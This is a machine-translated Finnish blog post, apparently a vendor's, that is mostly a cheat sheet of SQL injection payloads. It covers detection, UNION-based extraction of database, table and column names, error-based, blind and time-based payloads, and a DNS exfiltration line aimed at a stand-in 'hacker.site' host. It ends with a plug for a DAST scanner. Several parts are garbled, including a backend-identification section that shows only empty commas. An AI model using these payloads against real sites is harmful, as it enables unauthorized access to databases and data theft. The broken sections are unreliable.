SQL injektio hyötykuormat: miten SQLi hyödyntää työtä

mikä on SQL injektio hyötykuorma?

SQL Injection edustaa web-tietoturvahaavoittuvuutta, jonka avulla hyökkääjät voivat tarkastella tietoja, joita heidän ei pitäisi pystyä, antamalla hyökkääjän häiritä kyselyjä, joita sovellus tekee tietokantaansa pistämällä haitallisia SQL injection hyötykuormia.

Lue lisää SQL injektio hyökkäykset tässä blogikirjoitus-Mitä ovat SQL injektiot ja miten ne voidaan estää

tässä blogikirjoitus, aiomme kattaa miten tarkistaa, jos sivusto on altis SQLi ja eri SQL injektio hyötykuormia käytetään hyödyntämään erilaisia SQL injektio haavoittuvuuksia.

tässä artikkelissa:

vahvistaa SQLi: Syöttöpisteen tunnistus

tunnistaaksesi, jos sovelluksesi ovat alttiita SQLi: lle ja voit käyttää seuraavia hyötykuormia, sinun on ensin voitava syöttää tietoja kyselyyn rikkomatta sitä. Ensimmäinen askel on selvittää, miten paeta nykyisestä kontekstista.

kokeile jotain näistä hyödyllisistä esimerkeistä:


'
"
`
')
")
`)
'))
"))
`))

voit korjata kyselyn syöttämällä tietoja, jotta edellinen kysely hyväksyy uudet tiedot, tai voit syöttää tietoja ja lisätä kommenttisymbolin loppuun.

tämä vaihe on helpompi, jos voit nähdä virheilmoituksia tai voit tunnistaa, jos /kun kysely toimii vai ei.

MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments

vahvistamalla SQLi käyttämällä loogisia operaatioita

voit vahvistaa SQL-injektiohaavoittuvuuden suorittamalla loogisen operaation. Jos saat odotetun tuloksen, vahvistit SQLi.

näin se käytännössä näyttää:

jos GET-parametri ?username=John palauttaa saman sisällön kuin ?username=John' tai '1'='1, niin olet löytänyt SQL-injektiohaavoittuvuuden.

tämä käsite toimii myös matemaattisissa operaatioissa:

jos ?id=1 palauttaa saman kuin ?id=2-1, löytyi SQL-injektiohaavoittuvuus.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

SQL-injektion vahvistaminen ajoituksella

joissakin tapauksissa, kun yritetään vahvistaa sqli, testattavalla sivulla ei ole havaittavaa muutosta. Tämä osoittaa sokean SQL: n, joka voidaan tunnistaa tekemällä tietokannasta toimintoja, jotka vaikuttavat sivun latautumisaikaan.

lisäämme SQL-kyselyyn operaation, jonka suorittaminen kestää kauemmin, kuten seuraavan suorittamisen:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

unitoiminnot eivät ole aina sallittuja, joten tee kysely suorittaa monimutkaisia operaatioita, jotka kestävät useita sekunteja sen sijaan.

Identifying the Back-end

Different backends have different functions, which can be identified executing those functions. Esimerkkejä näistä funktioista ovat:

MySQL
,
,
,

MSSQL
,
,
,
,
,

Oracle
,
,
,

PostgreSQL
,
,
,
,
,
,

SQLite
,
,
,

MS Access
,
,
,
,
,

unionin pohjainen SQL injektio hyötykuormat

havaita sarakkeiden määrä

molemmat kyselyt (Alkuperäinen, ja yksi muutamme) on palautettava sama määrä sarakkeita. Mutta mistä tiedämme, kuinka monta saraketta alkuperäinen pyyntö on palauttamassa? Käytämme yleensä jompaakumpaa seuraavista menetelmistä sarakkeiden määrän saamiseksi:

Järjestys / ryhmä

vaikka GROUP BY ja ORDER BY on SQL: ssä erilaisia funktioita, voidaan kummastakin päätellä kyselyssä olevien sarakkeiden määrä. Lisää numeroa, kunnes saat väärän vastauksen:

1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

UNION SELECT

kun kyseessä on UNION SELECT, lisätään kasvava määrä nollia, kunnes kysely on voimassa:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

miksi nollaarvoja käytetään? On tapauksia, joissa kyselyn molemmin puolin olevien sarakkeiden tyypin on oltava sama. Null on voimassa kaikissa tapauksissa.

Pura tietokantojen nimet, taulukot ja sarakkeiden nimet

seuraavissa esimerkeissä haemme kaikkien tietokantojen nimet, taulukon nimet tietokannasta ja taulukon sarakkeiden nimet:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=

menetelmä, jota käytetään tämän tiedon löytämiseen, vaihtelee itse tietokannasta, mutta se on aina sama menetelmä.

Virhepohjaiset SQL-Injektiokuormat

jos kyselyn ulostulo ei ole näkyvissä, mutta näet Virheilmoitukset, voit saada nämä Virheilmoitukset toimimaan, jotta voit poistaa tiedot tietokannasta.

samanlainen kuin Unionipohjainen hyödyntämisesimerkki, voit dumpata tietokannan:

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

sokeiden SQL-injektioiden hyötykuormat

sokean SQL-injektion tapauksessa et näe kyselyn tuloksia etkä virheitä, mutta voit erottaa, milloin kysely palautti oikean tai väärän vastauksen sivun eri sisällön perusteella.

voit käyttää väärin tätä käytöstä dumpataksesi tietokannan char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

virhe Blind SQL Injection hyötykuormat

kuten nimestä voi päätellä, tämä on hyvin samankaltainen kuin Blind SQL injection, mutta tällä kertaa ei tarvitse erottaa oikeaa tai epätosi vastausta. Tarkistat, onko SQL-kyselyssä virhe vai ei, pakottamalla SQL-virheen joka kerta, kun arvaat merkin oikein:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

aikapohjaiset SQL Injection hyötykuormat

voit käyttää tätä tekniikkaa ensisijaisesti silloin, kun olet aikeissa hyödyntää sokeita haavoittuvuuksia, joissa käytät toista kyselyä käynnistääksesi DNS-haun, ehdollisen virheen tai aikaviiveen.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

pinottuja kyselyjä

pinottuja kyselyjä voidaan käyttää useiden kyselyjen suorittamiseen peräkkäin. Vaikka seuraavat kyselyt suoritetaan, tuloksia ei palauteta sovellukseen. Voit käyttää tätä tekniikkaa, kun sokeat haavoittuvuudet, joissa käytät toista kyselyä käynnistääksesi DNS-haun, ehdollisen virheen tai aikaviiveen.

vaikka Oracle ja MySQL eivät tue pinottuja kyselyitä, Microsoft ja PostgreSQL tukevat niitä: QUERY-1-HERE; QUERY-2-HERE

sqli-Hyötykuormista

jos mikään edellä mainituista hyödyntämismenetelmistä ei toiminut, voit yrittää saada tietokannan siirtämään tiedot ulkopuoliseen isäntään, jota valvot. Voit esimerkiksi käyttää DNS-kyselyjä:

select load_file(concat('\\',version(),'.hacker.site\a.txt'));

tunnista SQL-injektio Nexploit

Neuralegionin Nexploit automatisoi satojen haavoittuvuuksien, kuten SQL-injektion, havaitsemisen ja korjaamisen.

integroimalla DAST-skannaukset kehitysprosessin varhaisessa vaiheessa kehittäjät ja sovellusten tietoturva-asiantuntijat voivat havaita haavoittuvuudet varhaisessa vaiheessa ja korjata ne ennen kuin ne tulevat tuotantoon.

Nexploitilla skannaukset tehdään minuuteissa ja tuloksissa on nolla väärää positiivista. Näin kehittäjät voivat ottaa ratkaisun käyttöön ja käyttää sitä koko kehityksen elinkaaren ajan.

skannaa mikä tahansa web-sovellus tai API estääksesi SQL – injektiohaavoittuvuudet-kokeile NeuraLegion Nexploit free-sovellusta.

Leave a Reply

Sähköpostiosoitettasi ei julkaista.